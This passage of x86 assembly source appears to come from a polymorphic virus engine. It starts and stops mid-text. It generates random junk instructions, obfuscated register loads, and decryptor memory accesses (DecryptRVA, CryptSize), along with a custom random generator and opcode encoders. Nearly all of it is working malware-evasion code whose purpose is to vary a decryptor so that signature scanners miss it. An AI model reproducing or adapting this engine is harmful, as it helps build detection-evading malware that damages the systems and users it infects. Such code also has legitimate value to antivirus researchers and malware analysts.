SUB, get read only + jnz bj_b1_nro ; register or memory + test dl, dl + jz bj_b1_nreg2 + mov cl, dh ; writeable register + xor ecx, 0FFFFFF00h xor MOD_REG + jmp bj_b1_nro +bj_b1_nreg2: call iGetWrMem +bj_b1_nro: mov al, bl + xor al, MOD_REG + test al, MOD_REG + jz bj_b1_regalign + call iOpSizeMem + jmp bj_b1_blah +bj_b1_regalign: call iOpSizeReg +bj_b1_blah: push eax + call rnd32 + xchg eax, edx + call rnd32 + test al, 01h + jz bj_b1_akldf + movsx edx, dl +bj_b1_akldf: pop eax + call ciOpRMImm + pop ebx + call rnd32 + and al, 0Fh ; get random conditional jump type + xor al, JMPC_SHORT ; make jump opcode + stosb ; store it + push edi ; push address of immediate + stosb ; store placeholder byte + call iRndJunk ; make some junk + pop eax + not eax + lea ebx, [edi+eax] ; relative address + not eax + mov [eax], bl ; store relative jump address + ret + ; junk block 2: + ; 1. + ; 2. <2 - 4 junk instructions> + ; 3. +bj_block2: call iPushJunk + call iRndJunk ; make some junk + jmp iPopJunk + +bj_block3: call rnd32 ; generate STC/CLC/STD/CLD + and al, 05h + xor al, 0F8h + stosb + jmp iRndJunk + +bj_blockz equ $ + dd offset bj_block1 - idelta + dd offset bj_block2 - idelta + dd offset bj_block3 - idelta + dd offset iRndJunk - idelta + dd offset iRndJunk - idelta +BJ_BLOCKCNT equ 05h +iBlockJunk endp + + ; writes two to four random junk instruction (reg or mem) +iRndJunk proc + pushad + push 03h + call rnd32r + inc eax + inc eax + xchg eax, ecx +rndj_loop: push JUNKGEN_CNT + call rnd32r + mov eax, [ebp.JunkGen-idelta+4*eax] + add eax, ebp + push ecx + push ebx + call eax + pop ebx + pop ecx + loop rndj_loop + mov [esp], edi + popad + ret +iRndJunk endp +; generates one junk instruction with the register in ebx (the register +; isn't overwritten some times) +; ebx = register +iRegJunk proc + push RJ_METHCNT + call rnd32r + mov ecx, [ebp.rj_methods-idelta+4*eax] + add ecx, ebp + call iOpSizeReg + jmp ecx + + ; method 1: immediate operation on register +rj_meth1: push eax + mov ecx, ebx + xor ecx, 0FFFFFF00h xor MOD_REG + push OPTYPE_MOV + 3 + call rnd32r + cmp al, OPTYPE_MOV + 1 + jb rj_m1_nmov + mov al, OPTYPE_MOV +rj_m1_nmov: + xchg eax, ebx + call rnd32 + xchg eax, edx + call rnd32 + test al, 0Ch + jz rj_m1_nsx + movsx edx, dl +rj_m1_nsx: pop eax +rj_m1_nrc: jmp ciOpRMImm + + ; method 2: operation with mem on register +rj_meth2: push eax + call iGetMemory + push OPTYPE_MOV + 3 ; we don't want to XCHG + call rnd32r ; get random operation type + cmp al, OPTYPE_MOV + 1 + jb rj_m2_nmov + mov al, OPTYPE_MOV +rj_m2_nmov: + mov bh, al + pop eax + mov ah, REG_MEM + jmp ciOpRMReg + + ; method 3: operation with reg on register +rj_meth3: + push eax +rj_m3_asd: call rnd32 + and al, REG_EDI + cmp al, bl + je rj_m3_asd + xor al, MOD_REG + xor bl, MOD_REG + xchg eax, ecx + call rnd32 + and al, 01h + jnz rj_m3_nxchg + xchg bl, cl +rj_m3_nxchg: xchg eax, edx + push OPTYPE_MOV + 3 + call rnd32r + cmp al, OPTYPE_MOV + 1 + jb rj_m3_nmov + mov al, OPTYPE_MOV +rj_m3_nmov: mov bh, al + pop eax + mov ah, dl + jmp ciOpRMReg + + ; method 4: shift register +rj_meth4: xchg eax, ebx + or al, MOD_REG + xchg eax, ecx + push ebx + push RND_SHIFT + call rnd32r + xchg eax, ebx + push SHIFT_RND + call rnd32r + mov bh, al + call rnd32 + and al, 1Fh + xchg eax, edx + pop eax + cmp al, OPSIZE_16 + jne rj_m4_blah1 + and dl, 0Fh +rj_m4_blah1: cmp al, OPSIZE_8 + jne rj_m4_blah2 + and dl, 07h +rj_m4_blah2: + mov ah, dl + jmp ciShiftRM + + ; method 5: movzx/movsx register, reg +rj_meth5: test al, al + jnz rj_m5_ok + inc eax + and bl, not 04h +rj_m5_ok: mov dl, MOVX_WORD xor MOVX_SX + test al, 02h + jz rj_m5_nprefix + mov byte ptr [edi], OPERAND_SIZE + inc edi + mov dl, MOVX_SX +rj_m5_nprefix: mov byte ptr [edi], ESC_2BYTE + inc edi + call rnd32 + and al, dl + xor al, MOVX + stosb + call rnd32 + and al, REG_EDI + shl ebx, 03h + xor eax, ebx + xor al, MOD_REG + stosb + ret + + ; method 6: inc/dec register +rj_meth6: push eax + call rnd32 + and al, 01h + xchg eax, edx ; BL = 0 [INC] BL = 1 [DEC] + pop eax + test al, al + jnz rj_m6_n8 + mov byte ptr [edi], INCDEC_GROUP + inc edi + xchg eax, edx + shl eax, 03h + xor al, MOD_REG + xor al, bl + stosb + ret + +rj_m6_n8: test al, 02h + jz rj_m6_noprefix + mov byte ptr [edi], OPERAND_SIZE + inc edi +rj_m6_noprefix: xchg eax, edx + shl eax, 03h + xor al, INC_REG + xor al, bl + stosb + ret + +rj_methods equ $ + dd offset rj_meth1 - idelta + dd offset rj_meth2 - idelta + dd offset rj_meth3 - idelta + dd offset rj_meth4 - idelta + dd offset rj_meth5 - idelta + dd offset rj_meth6 - idelta +RJ_METHCNT equ 06h +iRegJunk endp + +; write 2 - 4 register junk instructions +iRndRegJ proc + pushad + push 03h + call rnd32r + inc eax + inc eax + xchg eax, ecx + call iGetJunkReg + xchg eax, ebx +irrj_loop: push ecx ebx + call iRegJunk + pop ebx ecx + loop irrj_loop + mov [esp], edi + popad + ret +iRndRegJ endp + +; memory junk generator +iMemJunk proc + push MJ_METHCNT + call rnd32r + mov edx, [ebp.mj_methods-idelta+4*eax] + add edx, ebp + push OPSIZE_16 + 1 + call rnd32r + call iGetWrMem + jmp edx + + ; immediate operation on memory +mj_meth1: push eax + push OPTYPE_MOV + 3 + call rnd32r + cmp al, OPTYPE_MOV + 1 + jb mj_m1_nmov + mov al, OPTYPE_MOV +mj_m1_nmov: xchg eax, ebx + call rnd32 + xchg eax, edx + call rnd32 + test al, 0Ch + jz mj_m1_nsx + movsx edx, dl +mj_m1_nsx: pop eax +mj_m1_nrc: jmp ciOpRMImm + + ; register operation on memory + +mj_meth2: push eax + push OPTYPE_MOV + 3 + call rnd32r + cmp al, OPTYPE_MOV + 1 + jb mj_m2_nmov + mov al, OPTYPE_MOV +mj_m2_nmov: mov bh, al + + call rnd32 + test ah, 01h + jz mj_m2_rndreg + and al, REG_EDI + mov bl, al +mj_m2_rndreg: pop eax + xor ah, ah ; MEM_REG + jmp ciOpRMReg + + ; shift operation on memory +mj_meth3: push eax + push RND_SHIFT + call rnd32r + xchg ebx, eax + push SHIFT_RND + call rnd32r + mov bh, al + call rnd32 + xchg eax, edx + pop eax + mov ah, dl + jmp ciShiftRM + +mj_methods equ $ + dd offset mj_meth1 - idelta + dd offset mj_meth2 - idelta + dd offset mj_meth3 - idelta +MJ_METHCNT equ 03h +iMemJunk endp +; input: bl = register +; output: al = operand size, bl = register +iOpSizeReg proc + push OPSIZE_16 + 1 + call rnd32r + test al, al + jnz cr_nop + cmp bl, REG_ESP + jnb iOpSizeReg + push eax + call rnd32 + and al, 04h + xor bl, al + pop eax +cr_nop: ret +iOpSizeReg endp +; input: cx, esi = memory +; output: al = operand size, cx, esi = memory +iOpSizeMem proc + push OPSIZE_16 + 1 + call rnd32r + ret +iOpSizeMem endp + +; gets random register, parameter or junk memory operand +iGetMemory proc + push eax +gm_rep: xor eax, eax + mov al, GM_METHCNT2 + cmp byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA + jb gm_push + inc eax + inc eax +gm_push: sub al, [ebp.InLoop-idelta] + push eax + call rnd32r + add al, [ebp.InLoop-idelta] + mov eax, [ebp.gm_methods-idelta+4*eax] + add eax, ebp + call eax + pop eax + ret + + ; get random parameter +gm_meth1: movzx eax, byte ptr [ebp.CurrentProc-idelta] + mov al, [ebp.ProcParameters-idelta+eax] ; parameter count + test eax, eax + jz gm_m1_ebp ; if no parameter, don't use this method + push eax + call rnd32r ; choose random parameter + shl eax, 02h ; scale to dword + add al, 08h ; first dword is return address + mov esi, eax ; the displacement + mov cx, REG_EBP ; relative to EBP + ret +gm_m1_ebp: mov cl, REG_EBP xor MOD_REG + ret + + ; get random junk mem +gm_meth2: mov eax, [ebp.JunkSpSize-idelta] ; access a random dword + shl eax, 02h + dec eax + dec eax + dec eax + push eax + call rnd32r ; from junk memory + add eax, [ebp.JunkSpRVA-idelta] ; add start rva + xchg eax, esi + mov cx, MOD_DIRECT ; return a direct address + ret + + ; get random encrypted data +gm_meth3: mov eax, [ebp.CryptSize-idelta] + shl eax, 02h + dec eax + dec eax + dec eax + push eax + call rnd32r + add eax, [ebp.DecryptRVA-idelta] + xchg eax, esi + mov cx, MOD_DIRECT + ret + + ; get encrypted data (RVA + 1/2/4*counter) +gm_meth4: mov esi, [ebp.DecryptRVA-idelta] + push 03h ; scaling factor 1, 2 or 4 + call rnd32r + mov ecx, eax + push edx + xor edx, edx + inc edx + shl edx, cl + sub esi, edx + pop edx + shl eax, 03h + xor al, [ebp.creg-idelta] + mov ch, al + mov cl, MOD_DIRECT + ret + + ; get current encrypted dword +gm_meth5: movsx cx, byte ptr [ebp.preg-idelta] ; use [preg] without + xor esi, esi ; displacement + ret + +gm_methods equ $ + dd offset gm_meth1 - idelta + dd offset gm_meth2 - idelta +GM_METHCNT3 equ 02h + dd offset gm_meth3 - idelta +GM_METHCNT2 equ 03h + dd offset gm_meth4 - idelta + dd offset gm_meth5 - idelta +GM_METHCNT1 equ 05h +iGetMemory endp + +iGetWrMem proc + push eax + push GM_METHCNT3 - 1 + call rnd32r + mov eax, [ebp.gm_methods-idelta+4+4*eax] + add eax, ebp + call eax + pop eax + ret +iGetWrMem endp + + +iGetPar proc + ret +iGetPar endp + +; common junk procedures + +iGetJunkReg proc + push 03h + call rnd32r + movzx eax, byte ptr [ebp.junkreg1-idelta+eax] + ret +iGetJunkReg endp + +iPushJunk proc + pushad + push PP_METHCNT ; random method to push + call rnd32r ; a parameter + mov eax, [ebp.pp_methods-idelta+4*eax] + add eax, ebp + call eax ; call da method + mov [esp], edi + popad + ret + + ; push 8-bit immediate sign 'xtended to 32-bit +pp_meth1: mov al, PUSH_IMM_SX + stosb + call rnd32 + stosb + ret + + ; push 32-bit immediate +pp_meth2: mov al, PUSH_IMM + stosb + call rnd32 + xchg eax, edx + call rnd32 + and eax, edx + stosd + ret + + ; push register +pp_meth4: call rnd32 + and al, REG_EDI + xor al, PUSH_REG + stosb + ret + + ; push memory +pp_meth3: call iGetMemory + mov al, OP_GROUP5 + stosb + mov bl, P_PUSH + jmp ciCreateOperand + + +pp_methods equ $ + dd offset pp_meth1 - idelta + dd offset pp_meth2 - idelta + dd offset pp_meth3 - idelta + dd offset pp_meth4 - idelta + dd offset pp_meth4 - idelta +PP_METHCNT equ 05h +iPushJunk endp + +iPopJunk proc + call rnd32 + test al, 01h + jz pj_asdfklj + mov al, POP_REG + xor eax, ebx + stosb + ret + +pj_asdfklj: test al, 02h + jz pj_blahblah + call iGetWrMem + mov al, POP_MEM + stosb + xor bl, bl + jmp ciCreateOperand + +pj_blahblah: push 04h + pop edx + xor bl, bl + test al, 04h + jz pj_sueder + add bl, OPTYPE_SUB + neg edx +pj_sueder: mov al, OPSIZE_32 + mov cl, REG_ESP xor MOD_REG + xor ch, ch + call ciOpRMImm + ret +iPopJunk endp +; returns random dword (0..4294967295) +rnd32 proc; [no parameterz] + push ecx + push edx + mov eax, [ebp.RandomSeed-idelta] ; load random seed + mov ecx, eax + mov edx, eax + not ecx + and ecx, 03h ; loop 8-64 times + inc ecx + shl ecx, 03h +rnd32_loop: push ecx + mov ecx, edx + ror eax, cl + neg eax + rol edx, cl + dec edx + pop ecx +rnd32_blah: loop rnd32_loop + xor eax, edx + mov [ebp.RandomSeed-idelta], eax ; write back random seed + pop edx + pop ecx + ret +rnd32 endp + +; returns random dword (0..[esp+4]) +rnd32r proc; [range] + push ecx + push edx + mov ecx, [esp+2*4+4] + call rnd32 + xor edx, edx + div ecx + xchg eax, edx + pop edx + pop ecx + ret 04h +rnd32r endp + +; 'xchanges n bytes from address ESI (n has to be pushed) +MixBytes proc; [count] [esi = ptr] + pushad ; preserve all registers + mov ebx, [esp.PUSHAD_SIZE+04h] + mov ecx, ebx + shl ecx, 01h ; loop counter (2 * # of bytes) + +xb_loop: push ebx ; number of bytes + call rnd32r ; get first byte offset + xchg eax, edx + push ebx + call rnd32r ; get second byte offset + push ebx ; preserve number + mov bl, [esi+eax] + xchg [esi+edx], bl ; exchange bytes + mov [esi+eax], bl + pop ebx + loop xb_loop + popad + ret 04h +MixBytes endp + +; writes 1 to 4 random bytes +WriteJunk proc + push eax + push ecx + push 04h ; get random value 0..3 + call rnd32r + inc eax ; +1 (1..4) + xchg ecx, eax ; load into counter +wj_loop: call rnd32 ; get a random byte + stosb ; store it + loop wj_loop + pop ecx + pop eax + ret +WriteJunk endp + +; returns reg if it is a junk reg, otherwise -1 +iIsJReg proc + mov eax, [esp.04h] + cmp [ebp.junkreg1-idelta], al + je is_junkreg + cmp [ebp.junkreg2-idelta], al + je is_junkreg + cmp [ebp.junkreg3-idelta], al + je is_junkreg + xor eax, eax + dec eax +is_junkreg: ret 04h +iIsJReg endp + +; generates TEST reg, reg/OR reg, reg/AND reg, reg +gCheckReg proc + ; generate MOD/RM byte with MOD_REG flag and twice the same + ; register. + pushad + mov al, bl + xor al, MOD_REG ; use as register + mov cl, al + xchg eax, ebx + + mov bh, OPTYPE_OR + push 05h + call rnd32r ; get random value + cmp al, 03h + jae gcr_zer0 + test al, 02h + jz gcr_and2 + mov bh, OPTYPE_AND +gcr_and2: test al, 01h + jz gcr_not_test + mov bh, OPTYPE_TEST +gcr_not_test: call rnd32 + and ah, REG_MEM ; random direction + mov al, OPSIZE_32 + call ciOpRMReg +gcr_exit2: mov [esp], edi + popad + ret +gcr_zer0: call rnd32 + and al, OPTYPE_CMP + cmp al, OPTYPE_ADC + jb gcrz_1 + cmp al, OPTYPE_AND + jna gcr_zer0 +gcrz_1: xchg eax, ebx + xor edx, edx + mov al, OPSIZE_32 + call ciOpRMImm + jmp gcr_exit2 +gCheckReg endp +; generates SUB reg, reg/XOR reg, reg/AND reg, 0 +gClearReg proc + ; generate MOD/RM byte with MOD_REG flag and twice the same + ; register. + pushad + mov al, bl + shl al, 03h ; shift to REG field + xor al, bl ; write RM field + xor al, MOD_REG ; use as register + xchg eax, ebx + + ; generate either a SUB reg, reg or XOR reg, reg + mov cl, MATH_SUB or OPSIZE_32 + push 03h + call rnd32r ; get random value + test al, 02h + jnz gcr_and + test al, 01h + jz gcr_not_sub + mov cl, MATH_XOR or OPSIZE_32 +gcr_not_sub: and al, REG_MEM ; random direction + or eax, ecx ; create opcode + stosb ; store opcode + xchg eax, ebx ; MOD/RM byte + stosb ; store +gcr_exit: mov [esp], edi + popad + ret +gcr_and: xchg eax, ebx + and al, MOD_REG xor REG_EDI + xchg eax, ecx + mov bl, OPTYPE_AND + mov al, OPSIZE_32 + xor edx, edx + call ciOpRMImm + jmp gcr_exit +gClearReg endp + +; loads reg (EBX) with immediate value (EDX) +gLoadReg proc + mov eax, edx + shr eax, 0Fh + jnz glr_notword + + push 03h ; the value is 0..32767, + call rnd32r ; so we can choose + sub al, 01h + adc al, 00h +glr_shift_sx: shl eax, 03h ; MOVX_SX or MOVX_ZX + +glr_word_val: test al, al + jnz glr_not_zx + push 02h + call rnd32r + test eax, eax + jz glr_not_zx + + call gClearReg + + push 05h ; ADD/OR/SUB/XOR + call rnd32r + cmp al, OPTYPE_OR + jbe glr_1 + add al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR +glr_1: cmp al, OPTYPE_SUB + jne glr_ns + neg edx +glr_ns: cmp al, OPTYPE_CMP + jne glr_asdf + inc eax +glr_asdf: xchg eax, ebx + xor al, MOD_REG + xchg eax, ecx + mov al, OPSIZE_16 + jmp ciOpRMImm + +glr_not_zx: push eax + call iGetJunkReg + xchg eax, ecx + call rnd32 + test al, 03h ; chance of 1:4 to use same register + jnz glr_blah1 + mov ecx, ebx +glr_blah1: mov al, OPSIZE_16 + push ebx + mov bl, OPTYPE_MOV + xor ecx, 0FFFFFF00h xor MOD_REG + call ciOpRMImm + pop ebx + and ecx, REG_EDI + xchg ecx, ebx + call iBlockJunkAR + + pop eax + mov ah, ESC_2BYTE + xor al, MOVX xor MOVX_WORD + xchg ah, al + stosw + xchg ecx, ebx + xor ecx, 0FFFFFF00h xor MOD_REG + jmp ciCreateOperand + +glr_notword: inc eax + shr eax, 11h ; if not zero, value is a negative word + jnz glr_shift_sx ; we must use MOVSX + + mov eax, edx + shr eax, 10h ; if zero, only first 16 bits are used + jz glr_word_val ; we must use MOVZX + + push GLR_METHCNT ; choose between some methods + call rnd32r + mov eax, [ebp.glr_methods-idelta+eax*4] ; load method + add eax, ebp ; relocate pointer to subroutine + jmp eax ; jump to method. + + ; method 1: mov reg, imm +glr_meth1: xchg eax, ebx ; get register + xor al, MOV_REG_IMM32 ; add opcode + stosb ; store opcode + xchg eax, edx ; get immediate + stosd ; store immediate + ret + + ; method 2: clear reg; add/or/sub/xor reg, imm +glr_meth2: call gClearReg ; clear the register + push 04h ; ADD/OR/SUB/XOR + call rnd32r + cmp al, OPTYPE_OR + jbe glr_m2_1 + add al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR +glr_m2_1: cmp al, OPTYPE_SUB + jne glr_m2_ns + neg edx +glr_m2_ns: call iBlockJunkAR + xchg eax, ebx + or al, MOD_REG ; register + xchg eax, ecx + mov al, OPSIZE_32 ; 32-bit operand + jmp ciOpRMImm + + ; method 3: mov reg, rnd; + ; sub/add/xor reg, imm add/sub/xor rnd +glr_meth3: mov al, MOV_REG_IMM32 ; mov reg, imm32 opcode + xor eax, ebx ; add register + stosb ; store it + call rnd32 ; get a random dword + stosd ; store it + xchg eax, edx ; random value + xchg eax, ecx ; immediate + call iBlockJunkAR ; generate junk block + push 03h ; add, sub, xor + call rnd32r + test eax, eax ; add? + jz glr_m3_1 + add al, OPTYPE_SUB - 1 ; no, sub/xor +glr_m3_1: test eax, eax + jnz glr_m3_2 + neg edx + add edx, ecx ; - random + immediate +glr_m3_2: cmp al, OPTYPE_SUB + jnz glr_m3_3 + sub edx, ecx ; random - immediate +glr_m3_3: cmp al, OPTYPE_XOR + jnz glr_m3_4 + xor edx, ecx ; random xor immediate +glr_m3_4: xchg eax, ebx + or al, MOD_REG + xchg eax, ecx + mov al, OPSIZE_32 + jmp ciOpRMImm + + ; method 4: mov reg, imm ror/rol rnd; + ; ror/rol reg, rnd +glr_meth4: call rnd32 + and al, 1Fh + jz glr_meth4 + xchg eax, ecx + xchg eax, edx + push ebx + mov bl, ROL_SHIFT + test ch, 01h + jz glr_m4_rol + rol eax, cl + inc ebx + jmp glr_m4_ror +glr_m4_rol: ror eax, cl +glr_m4_ror: xchg dl, cl + pop ecx + mov byte ptr [edi], MOV_REG_IMM32 + xor [edi], cl + inc edi + stosd + xchg ah, dl + xchg ebx, ecx + call iBlockJunkAR + xchg ebx, ecx + mov al, OPSIZE_32 + mov bh, SHIFT_IMM + cmp ah, 01h + jnz glr_m4_n1 + inc bh +glr_m4_n1: xor ecx, 0FFFFFF00h xor MOD_REG + jmp ciShiftRM + +glr_methods equ $ + dd offset glr_meth1 - idelta + dd offset glr_meth2 - idelta + dd offset glr_meth3 - idelta + dd offset glr_meth4 - idelta +GLR_METHCNT equ 04h +gLoadReg endp +; relocates a long jump (32-bit displacement) +; [address of disp] points to the byte after the opcode +RelLongJmp proc; [address], [address of disp] + push eax + push edi + mov eax, [esp.0Ch] ; where to jump + mov edi, [esp.10h] ; address of displacement + neg edi + lea eax, [eax+edi-04h] + neg edi + stosd + pop edi + pop eax + ret 08h +RelLongJmp endp +; generates a shift instruction. +; +; AL: operand size +; you can generate byte, word or dword operations. choose between +; OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may generate a random +; number < OPSIZE_RND. +; +; AH: immediate shift value +; +; BL: shift type (ROL_SHIFT, SHL_SHIFT, RCR_SHIFT, ...) +; you can use random value < RND_SHIFT +; +; +; BH: shift operand type +; SHIFT_IMM +; SHIFT_1 +; SHIFT_CL +; or random value < SHIFT_RND +; +; CL: R/M operand. can be: +; 1. register (REG_??? or MOD_REG) +; 2. memory, using register as index (REG_???) +; 3. memory, immediate address (MOD_DIRECT), ESI = virtual address +; +; CH: second index register + scaling factor +; REG_??? + NO_SCALE / SCALE_2/4/8 +; (use random value < SCALE_RND, to get random register & scaling). +; if this byte is zero, no SIB byte is used. +; take special care when using no scaling factor (logical or with +; NO_SCALE) +; +; ESI: displacement +; if this is zero, no displacement is used. +; when usin' direct addressing (MOD_DIRECT), this register contains +; immediate memory address. +; if ESI is in the range between -128 and 127, 8-bit displacement is +; used. when you're using 8-bit displacement calculate them like this: +; movsx esi, rm8 ; rm8 = 8-bit register or memory operand +; ; containing 8-bit displacement. +; +ciShiftRM proc + pushad + test al, OPSIZE_16 ; check if 16-bit operand + jz ciSRno_prefix ; no, we don't need a prefix + mov byte ptr [edi], 66h ; write prefix + inc edi ; increment pointer + dec eax ; change operand size to 32-bit +ciSRno_prefix: cmp ah, 01h + jnz ciSRasdlkfj + cmp bh, SHIFT_IMM + test bh, bh + jnz ciSRasdlkfj + mov bh, SHIFT_1 +ciSRasdlkfj: test bh, bh + jz ciSRt_imm ; shift by immediate value + test bh, SHIFT_CL + jz ciSRt_1 + or al, 02h +ciSRt_1: or al, 10h +ciSRt_imm: or al, OP_SHIFT + stosb + cmp bl, SAR_SHIFT + jnz ciSRnot_sar + inc ebx +ciSRnot_sar: mov al, bh + push eax + call ciCreateOperand + pop eax + test al, SHIFT_1 or SHIFT_CL + jnz ciSRexit + xchg al, ah + stosb +ciSRexit: mov [esp], edi + popad + ret +ciShiftRM endp +; generates a math operation, move, compare or exchange instruction. +; +; AL: operand size +; you can generate byte, word or dword operations. choose between +; OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may generate a random +; number < OPSIZE_RND. +; +; AH: direction (MEM_REG, REG_MEM) +; MEM_REG, from register to memory (write) +; REG_MEM, from memory to register (read) +; or random value < DIR_RND. +; +; BL: register +; REG_??? or random value lower than REG_RND +; +; BH: operation type +; the following operations are generated: +; ADD, OR, ADC, SBB, AND, SUB, XOR, CMP, MOV, XCHG, TEST +; use the corresponding OPTYPE_??? constant as operation type. +; you can also use a random number lower than OPTYPE_RND constant. +; +; CL: R/M operand. can be: +; 1. register (REG_??? or MOD_REG) +; 2. memory, using register as index (REG_???) +; 3. memory, immediate address (MOD_DIRECT), ESI = virtual address +; +; CH: second index register + scaling factor +; REG_??? + NO_SCALE / SCALE_2/4/8 +; (use random value < SCALE_RND, to get random register & scaling). +; if this byte is zero, no SIB byte is used. +; take special care when using no scaling factor (logical or with +; NO_SCALE) +; +; ESI: displacement +; if this is zero, no displacement is used. +; when usin' direct addressing (MOD_DIRECT), this register contains +; immediate memory address. +; if ESI is in the range between -128 and 127, 8-bit displacement is +; used. when you're using 8-bit displacement calculate them like this: +; movsx esi, rm8 ; rm8 = 8-bit register or memory operand +; ; containing 8-bit displacement. +ciOpRMReg proc + pushad + cmp al, OPSIZE_16 ; check if 16-bit operand + jnz ciORRno_prefix ; no, we don't need a prefix + mov byte ptr [edi], 66h ; write prefix + inc edi ; increment pointer + dec eax ; change operand size to 32-bit + +ciORRno_prefix: cmp bh, OPTYPE_TEST ; check if TEST instruction + jnz ciORRlame1 + mov bh, 090h ; real opcode ROR 3 + xor ah, ah ; we can only use MEM_REG +ciORRlame1: cmp bh, OPTYPE_XCHG ; check if XCHG instruction + jnz ciORRlame2 + mov bh, 0D0h ; real opcode ROR 3 + test al, al ; check if 8-bit operand + jz ciORRlame2 ; next 2 checkz are obsolete + + mov dl, cl + and dl, MOD_REG + cmp dl, MOD_REG + jnz ciORRblah + + xchg cl, bl + test cl, cl ; check if reg field is eax + jz ciORRxchgeax ; yes, generate xchg eAX, ?? + xchg bl, cl + cmp cl, REG_EAX or MOD_REG ; check if r/m field is eax + jnz ciORRlame2 +ciORRxchgeax: test cl, MOD_DISP8 + jz ciORRblah + test cl, MOD_DISP32 + jz ciORRblah + + mov al, bl ; BL contains reg + and al, 3Fh ; clear MOD_REG bits + or al, XCHG_EAX_REG ; generate opcode + stosb ; store opcode + jmp ciORRexit ; done! we saved one byte, but + ; poly engine grows 25 bytes :p +ciORRblah: +ciORRlame2: cmp bh, OPTYPE_MOV ; check if MOV instruction + jnz ciORRlame3 + mov bh, 011h ; real opcode ROR 3 +ciORRlame3: shl ah, 1 + or al, ah ; operand size + direction + rol bh, 03h ; operation number ROL 3 + or al, bh + stosb ; store opcode + call ciCreateOperand ; create R/M byte +ciORRexit: mov [esp], edi + popad + ret +ciOpRMReg endp +; generates a math operation, move or compare instruction. +; +; AL: operand size +; you can generate byte, word or dword operations. choose between +; OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may use random operand size +; (random number must be lower than OPSIZE_RND) +; +; BL: operation type +; the following operations are generated: +; ADD, OR, ADC, SBB, AND, SUB, XOR, CMP, MOV, XCHG, TEST +; use the corresponding OPTYPE_??? constant as operation type. +; you can also use a random number lower than OPTYPE_RND constant. +; +; +; CL: R/M operand. can be: +; 1. register (REG_??? or MOD_REG) +; 2. memory, using register as index (REG_???) +; 3. memory, immediate address (MOD_DIRECT), ESI = virtual address +; +; hey, you'd bet right! here you can also use random value! :I +; REG_RND for random register (don't forget to set MOD_REG), +; REG_RND for random index reg +; and finally MEM_RND for random index reg, but also direct +; addressing (means no index reg is used, but memory address) +; +; CH: second index register + scaling factor +; REG_??? + NO_SCALE / SCALE_2/4/8 +; (use random value < SCALE_RND, to get random register & scaling). +; if this byte is zero, no SIB byte is used. +; take special care when using no scaling factor (logical or with +; NO_SCALE) +; EDX/DX/DL: immediate value +; +; ESI: displacement or immediate address +; +; if operation is MOV and operand is register, generate MOV reg, imm8/16/32 +; if operation is MOV and operand is memory, generate MOV mem, imm8/16/32 +; if operation is TEST, generate TEST r/m, imm8/16/32 +; if operand is register and register is EAX/AX/AL, no R/M byte is used. +; (other opcode) +; +ciOpRMImm proc + pushad + push edx + mov edx, eax + cmp al, OPSIZE_16 ; are we usin' 16-bit operands? + jnz ciORIno_prefix ; no, we don't need a prefix. + mov byte ptr [edi], 66h ; store prefix + inc edi + dec eax + + ; check for MOV operation + +ciORIno_prefix: cmp bl, OPTYPE_MOV ; MOV operation? + jnz ciORInot_mov ; no, check next + + ; check if operand is register + + push eax ; push operand size. + mov eax, ecx + xor al, MOD_REG ; invert MOD_??? bits + test al, MOD_REG ; they aren't 00 now? + jnz ciORInot_reg ; operand is not register + pop ecx ; pop operand size + shl cl, 03h ; generate B0h or B8h opcode + or al, cl ; register OR operand size + or al, MOV_REG_IMM + stosb ; store opcode + jmp ciORIwrite_imm ; write immediate + + ; generate MOV mem, imm + +ciORInot_reg: pop eax ; pop operand size + or al, MOV_MEM_IMM + stosb + xor ebx, ebx + jmp ciORIcreate_rm + + ; Check for TEST operation + +ciORInot_mov: cmp bl, OPTYPE_TEST ; TEST operation? + jnz ciORInot_test ; no, check next + cmp cl, REG_EAX or MOD_REG ; reg = EAX/AX/AL? + jnz ciORInot_eax1 + or al, TEST_EAX_IMM ; generate TEST eAX/AL, imm + stosb + jmp ciORIwrite_imm + +ciORInot_eax1: or al, OP_GROUP3 ; opcode for operation group 3 + stosb ; store + xor bl, bl ; TEST r/m, Ib/Iv + jmp ciORIcreate_rm + + ; check if EAX/AX/AL register. + ; if yes, we can generate opcode by shifting left operation + ; type by 03h, adding 04h and adding operand size. + +ciORInot_test: + ; if all above fails, generate operation from immediate + ; group (group 1). opcode 80h or operand size. + ; if it is a 32-bit immediate, we check if immediate value + ; fits in byte (-128 <= immediate >= 127). we can save 3 + ; bytes that will be 000000h or FFFFFFh anyway. :-% + + push edx + or al, OP_GROUP1 + test al, OPSIZE_32 + jz ciORIblah + + mov edx, [esp + 04h] + movsx edx, dl + cmp edx, [esp + 04h] + jne ciORIblah + inc eax + and byte ptr [esp], 00h + inc eax ; use byte imm, sign extended to dword +ciORIblah: jnz ciORInot_eax2 + + pop edx + cmp cl, REG_EAX or MOD_REG ; register = EAX/AX/AL? + jnz ciORInot_eax3 ; nope, create operation + ; from group 1 (immediate ops) + shl bl, 03h ; operation type + or bl, USE_EAX ; opcode ?4h or ?5h + and al, 01h + or al, bl ; add operand size + stosb ; store opcode + jmp ciORIwrite_imm ; write immediate value + +ciORInot_eax2: + pop edx +ciORInot_eax3: stosb +ciORIcreate_rm: + call ciCreateOperand +ciORIwrite_imm: test dl, dl + jz ciORIimm8 + test dl, OPSIZE_16 + jnz ciORIimm16 + pop eax + stosd + jmp ciORIexit +ciORIimm16: pop eax + stosw + jmp ciORIexit +ciORIimm8: pop eax + stosb +ciORIexit: mov [esp], edi + popad + ret +ciOpRMImm endp + +; ciCreateOperand +; +; creates MOD/RM byte and if needed SIB byte, and stores da displacement +; +; BL: register or additional opcode information +; +; CL: R/M operand. can be: +; - register operand: REG_??? + MOD_REG +; - memory operand, index register: REG_??? +; - memory operand, immediate addressing: MOD_DIRECT +; +; CH: second index register + scaling factor +; REG_??? + NO_SCALE / SCALE_2/4/8 +; (use random value < SCALE_RND, to get random register & scaling). +; if this byte is zero, no SIB byte is used. +; take special care when using no scaling factor (logical or with +; NO_SCALE) +; +; ESI: displacement +; if this is zero, no displacement is used. +; when usin' direct addressing (MOD_DIRECT), this register contains +; immediate memory address. +; if ESI is in the range between -128 and 127, 8-bit displacement is +; used. when you're using 8-bit displacements calculate them like this: +; movsx esi, rm8 ; rm8 = 8-bit register or memory operand +; ; containing 8-bit displacement. +; this check isn't performed when 